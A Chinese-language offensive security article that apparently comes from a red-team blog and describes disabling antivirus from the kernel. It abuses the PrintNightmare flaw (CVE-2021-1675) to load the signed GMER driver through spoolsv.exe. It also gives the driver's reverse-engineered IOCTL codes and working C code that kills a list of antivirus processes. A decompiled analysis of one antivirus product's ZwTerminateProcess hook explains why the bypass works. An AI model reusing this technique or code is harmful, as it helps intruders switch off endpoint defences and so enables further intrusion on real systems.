前言
在进行实战攻防中,免杀是在突破边界防御后面临的首要问题,在通过建立据点,横向移动来扩大攻击成果的过程中,都有杀软在进行拦截,现在常用的免杀手法,例如反射型dll注入、直接系统调用、加密混淆等,都是在解决如何躲避杀软的查杀。而对于免杀来说,一劳永逸的解决方法,毫无疑问是在杀软的监控下关闭杀软。本文通过windows打印机漏洞(CVE_2021_1675)来加载签名驱动,并通过调用驱动的方式来实现从内核层关闭杀软。
一、加载驱动服务
加载驱动服务有两个问题,分别是如何绕过杀软加载驱动服务和加载什么驱动服务
1、如何绕过杀软加载驱动服务
启动驱动程序的过程中,要新建驱动程序服务,此操作会被杀软拦截。
采用CVE_2021_1675来绕过杀软监控加载驱动服务。
CVE_2021_1675的原理是通过spoolsv.exe加载任意dll程序,因为spoolsv.exe是应用程序白名单,所以可以采用此白加黑的方式来进行驱动服务加载。
2、加载什么驱动服务
在windows中,对驱动进行的保护为主要有PG(PatchGuard)和DES数字签名检较
其中PG限制驱动程序禁止以下操作,否则会蓝屏或重新启动
代码语言:javascript复制对系统服务描述表进行修改或钩子(Hook)
修改系统调用表
修改中断描述表
修改全局描述表
使用未由内核分配的内核堆栈
修改或修补内核本身、硬件抽象层(HAL)或网络驱动程序接口规范(NDIS)内核库中包含的代码
因为这些限制,要进行内核层的操作,需要带签名的驱动程序。并且驱动程序能调用ZwTerminateProcess函数进行关闭进程的操作,通过在网上找到GMER(http://www.gmer.net)的驱动程序,并进行逆向分析。
二、和驱动通信并关闭进程
GMER驱动分析
在windows中,关闭进程的内核函数都会调用ZwTerminateProcess函数,所以通过ida全局搜索ZwTerminateProcess字符串,来获取到驱动具体的调用ZwTerminateProcess函数的位置。
代码语言:javascript复制__int64 __fastcall new_TerminateProcess(unsigned int pid)
{
NTSTATUS v1; // eax
unsigned int v2; // ebx
struct _CLIENT_ID ClientId; // [rsp 30h] [rbp-78h] BYREF
struct _OBJECT_ATTRIBUTES ObjectAttributes; // [rsp 40h] [rbp-68h] BYREF
struct _KAPC_STATE ApcState; // [rsp 70h] [rbp-38h] BYREF
PVOID Object; // [rsp B8h] [rbp 10h] BYREF
void *ProcessHandle; // [rsp C0h] [rbp 18h] BYREF
ClientId.UniqueThread = 0i64;
ObjectAttributes.Length = 48;
ObjectAttributes.RootDirectory = 0i64;
ObjectAttributes.Attributes = 0;
ObjectAttributes.ObjectName = 0i64;
ObjectAttributes.SecurityDescriptor = 0i64;
ObjectAttributes.SecurityQualityOfService = 0i64;
ClientId.UniqueProcess = (HANDLE)pid;//pid传入的地方
KeStackAttachProcess(Process, &ApcState);
v1 = ZwOpenProcess(&ProcessHandle, 1u, &ObjectAttributes, &ClientId); //通过pid打开具体的handle
v2 = v1 == 0;
if ( !v1 )//为成功打开句柄,执行下列操作
{
if ( !ObReferenceObjectByHandle(ProcessHandle, 0, 0i64, 0, &Object, 0i64) )
{
switch ( dword_1CE40 )
{
case 1281:
*((_DWORD *)Object 146) &= 0xFFFFDFFF;
break;
case 1282:
*((_DWORD *)Object 144) &= 0xFFFFDFFF;
break;
case 1536:
*((_DWORD *)Object 138) &= 0xFFFFDFFF;
break;
case 1537:
*((_DWORD *)Object 156) &= 0xFFFFDFFF;
break;
case 1538:
*((_DWORD *)Object 154) &= 0xFFFFDFFF;
break;
}
ObfDereferenceObject(Object);
}
v2 = ZwTerminateProcess(ProcessHandle, 0); //关闭handle
ZwClose(ProcessHandle);
}
KeUnstackDetachProcess(&ApcState);
return v2;
}
通过查找此函数的调用链,找到与此函数通信的的IOCTL code为0x9876C094。
代码语言:javascript复制 case 0x9876C094:
if ( a3 != 4 || !a2 ) //判断输入buffer长度为4,且值不为0
{
*a7 = -1073741306;
return 3221225990i64;
}
v44 = new_TerminateProcess(*a2);//调用函数
v45 = a7;
*a7 = v44;
goto LABEL_171;
在应用层和驱动通信的函数DeviceIoControl的参数格式为
代码语言:javascript复制BOOL DeviceIoControl(
HANDLE hDevice, //通过CreateFile打开的驱动程序句柄
DWORD dwIoControlCode, //和驱动通信的code,这个参数会传入驱动中,并通过switch case语句来实现对驱动的函数调用
LPVOID lpInBuffer, //输入参数指针
DWORD nInBufferSize, //输入参数大小
LPVOID lpOutBuffer, //输出参数指针
DWORD nOutBufferSize, //输出参数大小
LPDWORD lpBytesReturned,//指向变量的指针
LPOVERLAPPED lpOverlapped //指向OVERLAPPED结构的指针
);
因此,通过逆向能获取到DeviceIoControl()函数的参数dwIoControlCode为0x9876C094,并且lpInBuffer为指向的值为PID,nInBufferSize的值也必须是4。
通过上面获取到的参数和驱动通信后,发现无法关闭进程,且返回的windows error code一直是87,即传入参数错误。通过继续逆向分析驱动发现,仅仅通过一次DeviceIoControl()还不够,GMER驱动还在执行terminateprocess函数之前,进行了一次初始化。
代码语言:javascript复制if ( a6 == 0x9876C004 ) // dword_1C120相当于驱动的开关,当IoControlCode是0x9876C004开启
{
v12 = dword_1C120;
if ( !dword_1C120 )
v12 = 1;
dword_1C120 = v12; // 最终使得 dword_1C120 = v12 = 1
}
else // 否则 v12 = dword_1C120 = 0
{
v12 = dword_1C120;
}
if ( !v12 ) // 如果v12 = 0,返回错误
{
*a7 = 0xC000000D;
*((_QWORD *)a7 1) = 0i64;
return 0xC000000Di64;
}
switch ( a6 )
{
case 0x9876C004: // 通知用户空间进程,驱动功能开启
if ( a5 >= 4 && a4 )
{
*(_DWORD *)a4 = 1;
*((_QWORD *)a7 1) = 4i64;
*a7 = 0;
result = 0i64;
}
else
{
*a7 = -1073741306;
result = 3221225990i64;
}
return result;
...
case 0x9876C094: // new_TerminateProcess
if ( a3 != 4 || !a2 )
{
*a7 = -1073741306;
return 3221225990i64;
}
v44 = TerminateProcess(*a2);
v45 = a7;
*a7 = v44;
goto LABEL_171;
}
因此,必须在调用函数之前调用0x9876C004进行初始化。
最后进行驱动调用的函数为
代码语言:javascript复制VOID TerminateProcessByDriver(LPTSTR driverName, DWORD pid) {
HANDLE hDriver = INVALID_HANDLE_VALUE;
TCHAR driverPath[MAX_PATH] = _T("\\.\");
_tcscat_s(driverPath, MAX_PATH, driverName);
hDriver = CreateFile(driverPath, GENERIC_ALL, 0, NULL, OPEN_EXISTING, 0, NULL); //打开驱动程序的句柄
if (hDriver == INVALID_HANDLE_VALUE) {
_tprintf(_T("[-] Driver open failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError());
return;
}
else {
BOOL bResult = FALSE;
DWORD junk = 0;
DWORD dwOut = 0;
bResult = DeviceIoControl(hDriver,
IOCTL_INIT,
&pid, sizeof(pid),
&dwOut, sizeof(dwOut),
&junk,
(LPOVERLAPPED)NULL);//对驱动程序进行初始化
if (!bResult)
{
_tprintf(_T("[-] Init failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError());
CloseHandle(hDriver);
return;
}
else if (pid == 0) {
for (DWORD index = 0;index < AV_LIST_LEN; index ) {
DWORD dwPid = 0;
if (GetProcessIdByName((LPTSTR)AV_LIST[index], &dwPid)) { //通过传入的进程名来获取pid
bResult = DeviceIoControl(hDriver,
IOCTL_ZwTerminateProcess,
&dwPid, sizeof(dwPid),
&dwOut, sizeof(dwOut),
&junk,
(LPOVERLAPPED)NULL); //调用TerminateProcess来关闭pid进程
if (bResult)
_tprintf(_T("[ ] Terminate process succeed %s(%u)n"), (LPTSTR)AV_LIST[index], dwPid);
}
else
_tprintf(_T("[-] Not found %s processn"), (LPTSTR)AV_LIST[index]);
}
}
else {
bResult = DeviceIoControl(hDriver,
IOCTL_ZwTerminateProcess,
&pid, sizeof(pid),
&dwOut, sizeof(dwOut),
&junk,
(LPOVERLAPPED)NULL);//根据传入的pid来关闭进程
if (bResult)
{
_tprintf(_T("[ ] Terminate process succeed %dn"), pid);
CloseHandle(hDriver);
}
else
{
_tprintf(_T("[-] Terminate process failed in TerminateProcessByDriver. GetLastError: %dn"), GetLastError());
CloseHandle(hDriver);
ExitProcess(1);
}
}
}
}
三、驱动如何绕过杀软在内核态的防御
此处以某杀软为例,来分析此方法是如何绕过杀软拦截的。
杀软在内核态中对应用层的防护主要是通过对Zw函数的hook实现,win32 api先调用对应ntdll.dll中的nt函数,再通过ntdll.dll调用Ntoskrnl.exe中的内核Zw函数,杀软通过对Zw函数hook,来实现对应用层所有调用Zw函数的win32 api函数的hook。
在杀软的驱动中,实现了对Zw函数的hook,其中ZwTerminateProcess函数的过滤规则是下面的方法实现。
代码语言:javascript复制int __stdcall sub_197B2(int a1, int a2, int a3, int a4)
{
KPROCESSOR_MODE v4; // al
int v5; // esi
HANDLE v6; // eax
HANDLE v7; // edi
HANDLE v8; // eax
HANDLE v9; // eax
PKTHREAD v10; // eax
HANDLE v11; // eax
KPROCESSOR_MODE v12; // al
HANDLE v13; // esi
HANDLE v15; // esi
int v16; // [esp-4h] [ebp-2Ch]
char ProcessInformation[20]; // [esp Ch] [ebp-1Ch] BYREF
void *v18; // [esp 20h] [ebp-8h]
PVOID Object; // [esp 24h] [ebp-4h] BYREF
v4 = ExGetPreviousMode(); //是否是来自应用层的调用
v5 = a2;
if ( v4 == 1 && Safe_GetGrantedAccess(*(HANDLE *)a2, (int)&a2) >= 0 && (a2 & 1) == 0 )//获取结束进程句柄
{
if ( Safe_QueryWintePID_ProcessHandle(*(HANDLE *)v5) )//结束目标是否是保护进程
{
v6 = PsGetCurrentProcessId();
if ( !Safe_QueryWhitePID(v6) )//调用者是否是保护进程
{
v7 = PsGetCurrentProcessId();
if ( Safe_CmpImageFileName("taskkill.exe") )//判断是否是用dos命令来结束进程
{
if ( ZwQueryInformationProcess((HANDLE)0xFFFFFFFF, ProcessBasicInformation, ProcessInformation, 0x18u, 0) >= 0 )
v7 = v18;//获取父进程pid
}
v16 = Safe_GetUniqueProcessId(*(HANDLE *)v5);
v8 = PsGetCurrentThreadId();
safe_judge(v7, v8, v16);//判断是否是用任务管理器来结束进程,并对程序进行拦截或着是放行
return -1073741790; //denied
}
}
}
v9 = PsGetCurrentProcessId();//判断是否是由csrss.exe来结束进程
if ( !Safe_QueryWhitePID(v9)//查询当前进程是否是白名单
&& Safe_CmpImageFileName("csrss.exe")//进程是否是csrss.exe
&& g_Win2K_XP_2003_Flag //windows高版本
&& !*(_DWORD *)(v5 4)
&& Safe_QueryWintePID_ProcessHandle(*(HANDLE *)v5) )//结束的目标进程是否是白名单
{
return -1073741790;//denied
}
if ( *(_DWORD *)v5 != -1 //非自身
|| KeGetCurrentIrql() == 1 //irql中断等级
|| (v10 = KeGetCurrentThread(), !Safe_QueryWhitePID_PsGetThreadProcessId(v10)) )//调用者非白名单
{
v11 = *(HANDLE *)v5;
if ( !*(_DWORD *)v5 || v11 == (HANDLE)-1 ) //检查是否获取到句柄
{
Object = IoGetCurrentProcess();
}
else
{
if ( !Safe_QueryObjectType(v11, (wchar_t *)L"Process") )//句柄不是process类型就退出
return 0;
v12 = ExGetPreviousMode();//获取eprocess结构
if ( ObReferenceObjectByHandle(*(HANDLE *)v5, 0, (POBJECT_TYPE)PsProcessType, v12, &Object, 0) < 0 )
return 0;
}
if ( Safe_QueryWhitePID_PsGetProcessId(Object) && (KeGetCurrentIrql() == 1 || !ExGetPreviousMode()) )
{
v13 = *(HANDLE *)v5;
if ( v13 && v13 != (HANDLE)-1 )
ObfDereferenceObject(Object);//对象的引用计数减一
return -1073741790;//denied
}
v15 = *(HANDLE *)v5;
if ( v15 && v15 != (HANDLE)-1 )
ObfDereferenceObject(Object);
}
return 0;
}
因为通过驱动调用的Zw函数是从内核层进行的调用,所以跳过了对参数的检查,实现了关闭程序的功能。
杀软hook的Zw函数还有下面这些。
代码语言:javascript复制//创建文件
#define ZwCreateFile_FilterIndex 0x8
//写文件
#define ZwWriteFile_FilterIndex 0xB
//创建进程
#define ZwCreateProcess_FilterIndex 0xD
//创建进程Ex
#define ZwCreateProcessEx_FilterIndex 0xE
//创建线程
#define ZwCreateThread_FilterIndex 0x10
//打开线程
#define ZwOpenThread_FilterIndex 0x11
//删除文件
#define ZwDeleteFile_FilterIndex 0x12
//打开文件
#define ZwOpenFile_FilterIndex 0x13
//结束进程
#define ZwTerminateProcess_FilterIndex 0x15
//跨进程写内容
#define ZwWriteVirtualMemory_FilterIndex 0x1A
//创建文件映射
#define ZwCreateSection_FilterIndex 0x1E
//打开section object
#define ZwOpenSection_FilterIndex 0x1F
//创建符号链接
#define ZwCreateSymbolicLinkObject_FilterIndex 0x20
//加载驱动
#define ZwLoad_Un_Driver_FilterIndex 0x22
//加载驱动
#define ZwSetSystemInformation_FilterIndex 0x24
//设置时间
#define ZwSetSystemTime_FilterIndex 0x25
//打开进程
#define ZwOpenProcess_FilterIndex 0x2F
//打开注册表键值
#define ZwOpenKey_FilterIndex 0x32
//拷贝句柄
#define ZwZwDuplicateObject_FilterIndex 0x33
//RPC通讯
#define ZwAlpcSendWaitReceivePort_FilterIndex 0x44
//进程回调
#define CreateProcessNotifyRoutine_FilterIndex 0x45
//取消映射目标进程的内存
#define ZwUnmapViewOfSection_FilterIndex 0x46
//拦截DLL注入的
#define ClientLoadLibrary_FilterIndex 0x4B
//分配空间
#define ZwAllocateVirtualMemory_FilterIndex 0x4E
//打开互斥体
#define ZwOpenMutant_FilterIndex 0x51
//遍历线程
#define ZwGetNextThread_FilterIndex 0x53
//遍历进程
#define ZwGetNextProcess_FilterIndex 0x54
//枚举valuekey
#define ZwEnumerateValueKey_FilterIndex 0x59
//永久对象转化成临时对象
#define ZwMakeTemporaryObject_FilterIndex 0x7F
//线程挂起
#define ZwSuspendThread_FilterIndex 0x93
//进程挂起
#define ZwSuspendProcess_FilterIndex 0x94
//取消映射目标进程的内存 Win8~Win10
#define ZwUnmapViewOfSectionIndex_Win8_Win10_FilterIndex 0x96